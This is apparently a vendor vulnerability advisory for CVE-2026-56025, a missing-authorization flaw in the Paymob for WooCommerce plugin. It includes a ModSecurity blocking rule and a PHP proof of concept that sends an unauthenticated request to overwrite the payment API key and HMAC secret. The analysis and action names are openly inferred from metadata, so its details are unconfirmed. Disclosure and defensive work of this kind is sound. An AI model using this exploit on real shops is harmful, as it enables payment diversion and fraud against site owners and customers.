Atomic Edge analysis of CVE-2026-56025 (metadata-based):
This vulnerability affects the Paymob for WooCommerce plugin version 4.1.2 and earlier. It allows unauthenticated attackers to perform unauthorized actions due to a missing capability check on a function. The CVSS score is 5.3, with low integrity impact and no confidentiality or availability impact.
The root cause likely stems from a missing capability or permission check in one of the plugin’s AJAX handlers or REST API endpoints. WordPress plugins commonly register AJAX actions with the wp_ajax_ and wp_ajax_nopriv_ hooks. If the plugin registers an action through wp_ajax_nopriv_ (which allows unauthenticated access) but fails to include a capability check inside the handler function, unauthenticated users can trigger the action. Alternatively, the plugin may register an admin-facing AJAX action with wp_ajax_ and simply forget the capability check, but still make it accessible via wp_ajax_nopriv_. Since the description specifies “unauthenticated attackers,” we infer the handler is registered for both authenticated and unauthenticated users, or a REST endpoint lacks permission checks. Based on metadata alone, this is an inferred analysis, not code-confirmed.
An attacker can exploit this vulnerability by sending a crafted HTTP request to an AJAX endpoint or REST API route exposed by the Paymob plugin. The most likely vector is a POST request to /wp-admin/admin-ajax.php with an action parameter such as paymob_update_settings or paymob_process_refund. By omitting or bypassing a nonce and lacking capability checks, the attacker could modify plugin settings, trigger refunds, or perform other privileged operations. The exact action name is not confirmed, but follows typical plugin naming patterns (e.g., paymob_for_woocommerce_*).
The remediation requires adding a capability check to the vulnerable function. In WordPress, this typically means calling current_user_can(‘manage_options’) or similar before executing the action. The plugin should also implement nonce verification using check_ajax_referer() or check_admin_referer() to prevent CSRF. Since no patched version exists, site administrators should disable the plugin until an update is released.
The impact of this vulnerability is unauthorized modification of plugin settings or initiation of financial transactions such as refunds. Since the plugin processes payments, an attacker could alter configuration to redirect payments to their own account or disable security features. While CVSS scores integrity impact as low, the practical risk to e-commerce sites could be significant, including financial theft or reputation damage.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-56025 (metadata-based)
# Blocks unauthenticated requests to Paymob AJAX actions likely lacking authorization
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:20265555,phase:2,deny,status:403,chain,msg:'CVE-2026-56025 - Paymob for WooCommerce Missing Authorization via AJAX',severity:'CRITICAL',tag:'CVE-2026-56025'"
SecRule ARGS_POST:action "@rx ^paymob_(update_settings|save_api_keys|process_refund|reset_config)$"
"chain"
SecRule REQUEST_METHOD "@streq POST" "t:none"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-56025 - Paymob for WooCommerce <= 4.1.2 - Missing Authorization
/**
* Exploit: Sends an unauthenticated POST request to the vulnerable AJAX endpoint.
* Assumes the action is 'paymob_update_settings' (inferred from plugin naming conventions).
* Adjust the action name and POST parameters as needed.
*/
$target_url = 'http://example.com'; // Change to target WordPress site
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
// The exact action and parameters are inferred from the vulnerability type.
// Common patterns: paymob_update_settings, paymob_save_api_keys, etc.
$post_data = array(
'action' => 'paymob_update_settings',
// Attacker could send arbitrary settings. Example: changing API keys.
'paymob_api_key' => 'attacker_controlled_key',
'paymob_hmac_secret' => 'attacker_controlled_secret',
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // For testing only
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($http_code === 200) {
echo "[+] Exploit sent successfully. HTTP Code: $http_coden";
echo "[+] Response: $responsen";
} else {
echo "[-] Request failed with HTTP Code: $http_coden";
}
?>
